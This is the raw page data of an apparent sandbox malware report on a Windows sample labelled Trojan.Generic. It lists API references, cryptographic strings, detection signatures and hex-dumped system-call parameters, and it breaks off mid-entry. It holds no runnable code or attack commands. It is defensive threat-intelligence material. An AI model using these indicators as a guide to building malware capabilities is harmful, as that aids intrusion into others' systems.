24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 81:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T498,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample fc0648345e4b… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample fc0648345e4b…. Malware family: Trojan.Generic. Threat score 100/100. 11/28 AV engines flagged this file. 16 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/fc0648345e4be061ff4ec08d72c7210afa00a8ff3c490dd0e4f023474e87bef9","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","fc0648345e4be061ff4ec08d72c7210afa00a8ff3c490dd0e4f023474e87bef9"],"about":{"@type":"SoftwareApplication","name":"fc064.Trojan.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"fc0648345e4be061ff4ec08d72c7210afa00a8ff3c490dd0e4f023474e87bef9","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":11,"total":28},"behavioralIndicators":{"malicious":16,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Tb98,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.D6750000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.D6750000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.D6750000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp") Found reference to API "CoWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp")26:T84f,Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00004560.00000000.81027.0AC65000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp, 00000000-00004560.00000000.81027.E83D4000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.E83D4000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.E83D4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp")27:Tedb,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp, 00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp, 00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D6088000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.0B051000.00000002.mdmp, 00000000-00004560.00000000.81027.0CEC5000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D6088000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.0AC65000.00000002.mdmp, 00000000-00004560.00000000.81027.0B051000.00000002.mdmp, 00000000-00004560.00000000.81027.0CEC5000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "__vcrt_LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004560.00000000.81027.0B051000.00000002.mdmp") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E83D4000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp")28:T512,Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.D784D000.00000004.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "RegSetKeyValueW" (Indicator: "RegSetKeyValue"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp")29:T400,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/2" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/2" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp, 00000000-00004560.00000000.81027.D6750000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp, 00000000-00004560.00000000.81027.D6750000.00000002.mdmp")2a:Tdd3,Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; File: "fc064.Trojan.exe") Found reference to "CDSA/SHA384" (Indicator: "SHA384"; Source: "00000000-00000848.00000000.67361.06DF0000.00000004.mdmp") Found reference to "TLS_AES_256_GCM_SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.5ABD0000.00000004.mdmp, 00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "CDSA/SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.5CBA0000.00000004.mdmp") Found reference to "HKDF" (Indicator: "HKDF"; Source: "00000000-00004560.00000000.81027.5CBA0000.00000004.mdmp, 00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found reference to "AES256-GCM-SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "TLS_RSA_WITH_AES_256_GCM_SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "DHE-RSA-AES256-GCM-SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "DHE-DSS-AES256-GCM-SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "TLS_DHE_DSS_WITH_AES_256_GCM_SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "ADH-AES256-GCM-SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "TLS_DH_anon_WITH_AES_256_GCM_SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "ECDHE-ECDSA-AES256-SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "ECDHE-RSA-AES256-SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "ECDHE-ECDSA-AES256-GCM-SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "ECDHE-RSA-AES256-GCM-SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "PSK-AES256-GCM-SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "TLS_PSK_WITH_AES_256_GCM_SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "DHE-PSK-AES256-GCM-SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found reference to "TLS_DHE_PSK_WITH_AES_256_GCM_SHA384" (Indicator: "SHA384"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp")2b:T70b,Found reference to API "ChangeServiceConfigW" (Indicator: "ChangeServiceConfig"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "ChangeServiceConfig2W" (Indicator: "ChangeServiceConfig"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp")2c:Td02,Found string "ncrypted Private Key" (Indicator: "private key"; Source: "00000000-00004560.00000000.81027.5CBA0000.00000004.mdmp") Found string "dane tlsa bad public key" (Indicator: "public key"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found string "no private key assigned" (Indicator: "private key"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found string "private key mismatch" (Indicator: "private key"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found string "unable to find public key parameters" (Indicator: "public key"; Source: "00000000-00004560.00000000.81027.D5D25000.00000002.mdmp") Found string "unknown public key type" (Indicator: "public key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "unsupported public key type" (Indicator: "public key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "wrong public key type" (Indicator: "public key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "Public Key Algorithm: %s" (Indicator: "public key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "Unable to load public key" (Indicator: "public key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "private key too large" (Indicator: "private key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "encryptedKey" (Indicator: "encryptedkey"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "CMS_RecipientEncryptedKey" (Indicator: "encryptedkey"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "recipientEncryptedKeys" (Indicator: "encryptedkey"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "error getting public key" (Indicator: "public key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "no private key" (Indicator: "private key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "no public key" (Indicator: "public key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "private key does not match certificate" (Indicator: "private key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "invalid public key" (Indicator: "public key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "missing private key" (Indicator: "private key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "invalid private key" (Indicator: "private key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "%*s" (Indicator: "private key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "%*s" (Indicator: "public key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "failed loading private key" (Indicator: "private key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp") Found string "failed loading public key" (Indicator: "public key"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp")2d:T847,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains ability to attach base64 encoded attachment to an email Matched sigs: Contains reference to crypto DLLs Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Calls an API typically used to decrypt data Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to use AES encryption instructions Matched sigs: Reads the cryptographic machine GUID Matched sigs: Contains ability to perform symmetric decryption (Dotnet) Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Contains ability to perform crypto operations Matched sigs: Contains ability to decode string content at runtime (Dotnet) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES Encryption Matched sigs: HTTP requests contain Base64 strings Matched sigs: Contains ability to perform symmetric crypto operations Matched sigs: Contains ability to perform AES cryptographic operations (Dotnet) Matched sigs: Dotnet file contains encryption/decryption functions Matched sigs: Sample file has high entropy (likely encrypted/compressed content)2e:T204a,"fc064.Trojan.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000007300a0b18900a0b18900000000000950827700000e77030000000651827700000000a0ef730034294f750000000000000000000000000000000020484f7508000000000000005013127734294f750000000008000000a0b1890000000000000000000000000000000000180000000b11b6a3d3273173c021730084ef730018f07300e056317377eff6d0feffffff94fc8677189c8900000088000000000000000000536230738cef73000000000064000000250017003051880000000000170000000000000050988900179c8900189c8900205188000000880084ef73006cef7300a6eb8277000000000000000000000000b0474f759b3e3cc5a4ef7300 (UID: 00000000-00007512) "fc064.Trojan.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007512) "fc064.Trojan.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007512) "fc064.Trojan.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000007e00b40f4200d0087e003cd37300feba827700000000000000000300000048848800b40f420058d37300650987771300000000000000d06c2876f0b9a676130000006cd37300ae2e84770300000000000000d06c28767cd37300e16c28760300000000000000a4d373006820067603000000000000002b9cfc297092ae7600000000e4d37300201b0b76fffffffff4d37300581006763c1006767b9cfc297092ae769cb9a676f0b9a676d4d37300d0d373000d0000000d0000005041ca767cc80377000000004041ca76f0d3730068d47300608d0976c75a9d5ffeffffff00d47300900f06765041ca7610d473000625bd767cc803775041ca761cd47300 (UID: 00000000-00007512) "fc064.Trojan.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d58000002000000000000000000000000000000bb3b3cc588e97300583f8f0088ec7300b0e88577ebe1c0b2feffffff583f8f00787f837740378e0000000000583f8f000a000b00b6c7de6d000000000000000060a6de6d70a6de6d583f8f00c807900014000000000000000000000040378e0000000000b8ea7300d7088277583f8f00000000008403fe7f00000000f000d76d00000000094d0b3dec6185775fd6817740030000583f8f00000000006c378e00180000000000000040eb730040080000000000000000000000000000010000003d13bd50190000001100000010000000a4a28e0030a1dd6dfeffffff00cb8800a4a28e0000000000000000000000000024eb7300 (UID: 00000000-00007512) "fc064.Trojan.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d580000020000000000370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600340046004200440030007d0000003107f8cc310704cd3107f4cc3107000000007b23718f7b1d7ec200003c0030df218ac8cc3107b0e885771bfcc0b2feffffffd8cc3107887d88000000157630fac474d4478277c54782772b1d7ec274d331074481fb0628cc4618cccc310718d03107b0acd974ffffffff0ccd310772fac47418d031077cceb67472fac4740100000000000000020000007cceb67438cd310774d331074481fb0680fac4740000000040cd31077c0b2a7610aa36761ccc4618 (UID: 00000000-00007512) "fc064.Trojan.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d580000020000000000370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600340046004200440030007d000000330038003100320033003900310030003000310031077b1d7ec204cc310764cc31072ce131075c000000deedf806c4ce3107caff8077deedf806b8cc31075c000000c0edf80668cf3107f2ff8077000000000000000028cc4618cccc310718d03107b0acd974ffffffff0ccd310772fac474e4cc31077cceb67472fac4740100000000000000020000007cceb67438cd310774d331073cf4fb0680fac474a29427762a00000048568f00000000001ccc4618 (UID: 00000000-00007512) "fc064.Trojan.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d580000020000000000370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600340046004200440030007d000000330038003100320033003900310030003000310031077b1d7ec204cc310764cc31072ce131075c0000004eeff806c4ce3107caff80774eeff806b8cc31075c00000030eff80668cf3107f2ff8077000000000000000028cc4618cccc310718d03107b0acd974ffffffff0ccd310772fac474e4cc31077cceb67472fac4740100000000000000020000007cceb67438cd310774d331077cf5fb0680fac474a294277626000000289e9400000000001ccc4618 (UID: 00000000-00007512) "fc064.Trojan.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d580000020000000000370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600340046004200440030007d000000330038003100320033003900310030003000310031077b1d7ec204cc310764cc31072ce131075c00000076f1f806c4ce3107caff807776f1f806b8cc31075c00000058f1f80668cf3107f2ff8077000000000000000028cc4618cccc310718d03107b0acd974ffffffff0ccd310772fac474e4cc31077cceb67472fac4740100000000000000020000007cceb67438cd310774d33107acf9fb0680fac474a294277629000000e8558f00000000001ccc4618 (UID: 00000000-00007512) "fc064.Trojan.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d580000020000000000370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600340046004200440030007d000000330038003100320033003900310030003000310031077b1d7ec204cc310764cc31072ce131075c00000086fbf806c4ce3107caff807786fbf806b8cc31075c00000068fbf80668cf3107f2ff8077000000000000000028cc4618cccc310718d03107b0acd974ffffffff0ccd310772fac474e4cc31077cceb67472fac4740100000000000000020000007cceb67438cd310774d33107dcfdfb0680fac474a29427762700000090a09400000000001ccc4618 (UID: 00000000-00007512) "fc064.Trojan.exe" called "RtlGetVersion" with parameter 